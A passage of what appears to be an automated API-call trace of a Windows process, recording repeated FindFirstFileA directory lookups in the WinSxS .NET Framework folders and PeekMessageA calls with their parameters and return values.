lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.messaging_b03f5f7f11d50a3a_6.1.7601.17514_none_b72e2693e84b039a\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c9793ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9c9793ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9c9793ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.281] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.281] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.runtim..ion.formatters.soap_b03f5f7f11d50a3a_6.1.7600.16385_none_a9d1bee515273f56\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11623618, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11623618, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11623618, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.282] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.282] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.runtime.remoting_b03f5f7f11d50a3a_6.1.7601.17514_none_dbb72f2052e2a0db\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d497aea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8d497aea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8d497aea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.283] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.284] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.security_b03f5f7f11d50a3a_6.1.7601.17514_none_31853bdb99fcc1ee\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94ca7168, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x94ca7168, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94ca7168, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.284] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.284] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.serviceprocess_b03f5f7f11d50a3a_6.1.7601.17514_none_4b6aec4daeecd54e\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94e9634b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x94e9634b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94e9634b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.285] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.285] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.web.mobile_b03f5f7f11d50a3a_6.1.7601.17514_none_1a50b93af7500512\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa205b78d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa205b78d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa205b78d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.286] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.286] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.web.regularexpressions_b03f5f7f11d50a3a_6.1.7600.16385_none_7e469b5b5fa3029b\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11649772, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11649772, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11649772, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.287] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.288] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.web.services_b03f5f7f11d50a3a_6.1.7601.17514_none_f88c2ed4e4f8c858\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c95328d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9c95328d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9c95328d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.288] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.289] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.windows.forms_b03f5f7f11d50a3a_6.1.7601.17514_none_837199a67b60fe06\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91f46db4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x91f46db4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x91f46db4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.289] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.290] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system.xml_b03f5f7f11d50a3a_6.1.7601.17514_none_6151cd0c3c2a5f8f\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d151ca4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8d151ca4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8d151ca4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.290] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.291] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system_b03f5f7f11d50a3a_6.1.7601.17514_none_bf2f9d3ffdcfb10a\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa20cdbae, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa20cdbae, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa20cdbae, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.291] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.292] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system_drawing_tlb_b03f5f7f11d50a3a_6.1.7600.16385_none_6f122e8e3a88e186\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1166f8cc, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1166f8cc, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1166f8cc, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.292] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.293] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-system_tlb_b03f5f7f11d50a3a_6.1.7600.16385_none_5f66f6003d640f77\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1166f8cc, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1166f8cc, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1166f8cc, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.293] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.299] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-sys_data_oraclient_perfcoun_b03f5f7f11d50a3a_6.1.7600.16385_none_12b230ea15a9e57a\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115d7364, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x115d7364, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x115d7364, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.302] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.303] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.304] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.307] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-sys_enterpriseservices_tlb_b03f5f7f11d50a3a_6.1.7600.16385_none_a8a4035909e14dff\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115d7364, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x115d7364, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x115d7364, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.307] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.308] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-sys_windows_forms_tlb_b03f5f7f11d50a3a_6.1.7600.16385_none_24b8f009e5bf3817\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x115d7364, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x115d7364, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x115d7364, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.308] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.309] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-tlbref_dll_b03f5f7f11d50a3a_6.1.7600.16385_none_edeba22efbbb32f3\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1166f8cc, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1166f8cc, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1166f8cc, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.309] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.310] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-uninstallsqlstate_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_2faaad2bcfc99b5f\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1166f8cc, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1166f8cc, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1166f8cc, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.310] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.311] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-vbc_exe_config_b03f5f7f11d50a3a_6.1.7600.16385_none_bf56b841b792d154\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1166f8cc, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11695a26, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11695a26, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.311] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.311] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-vb_compiler_b03f5f7f11d50a3a_6.1.7601.17514_none_cc9e34fd4e687b15\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e5a9bb4, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x8d44b82a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8d44b82a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.312] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.312] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.313] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-vb_compiler_ui_b03f5f7f11d50a3a_6.1.7600.16385_none_281aa88152564d62\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1166f8cc, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1166f8cc, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1166f8cc, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.313] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0166.314] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-webhightrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_2d1353cd39571370\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11695a26, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11695a26, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11695a26, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.315] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-webhightrust_config_default_b03f5f7f11d50a3a_6.1.7600.16385_none_b6b096b0fd71600e\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11695a26, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11695a26, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11695a26, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.315] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-weblowtrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_6ad58a3fc26aab78\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11695a26, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11695a26, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11695a26, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.316] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-weblowtrust_config_default_b03f5f7f11d50a3a_6.1.7600.16385_none_4ce9dc6ecc5205aa\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11695a26, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11695a26, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11695a26, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.317] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-web_engine_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_c34e666ce012ebe9\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c906fcd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9c906fcd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9c906fcd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.317] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-wminet_utils_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_ffe11ead2294d4de\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89158cef, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89158cef, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89158cef, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.318] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-xpthemes_manifest_b03f5f7f11d50a3a_6.1.7600.16385_none_ab5096c4554b074f\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11695a26, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x116bbb80, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x116bbb80, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.325] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-_vc_assembly_linker_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_c5ab15a393b79113\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c5aea7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x94c5aea7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94c5aea7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.326] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-_vc_assembly_linker_messages_b03f5f7f11d50a3a_6.1.7600.16385_none_f20aed264cd46699\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x111acd8c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x111acd8c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x111acd8c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.327] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35cdf-cdf_mof_files_31bf3856ad364e35_6.1.7600.16385_none_f64bda6899b28685\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fcf4f95, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2fcf4f95, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x2fcf4f95, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.330] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35cdf-cdf_sql_files_31bf3856ad364e35_6.1.7600.16385_none_fe222fceeb381997\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fcf4f95, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2fd1b0f5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x2fd1b0f5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.333] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx35cdf-cdf_wf_target_files_31bf3856ad364e35_6.1.7600.16385_none_c85842b68a5396d4\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fcf4f95, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2fcf4f95, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x2fcf4f95, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.337] FindFirstFileA (in: 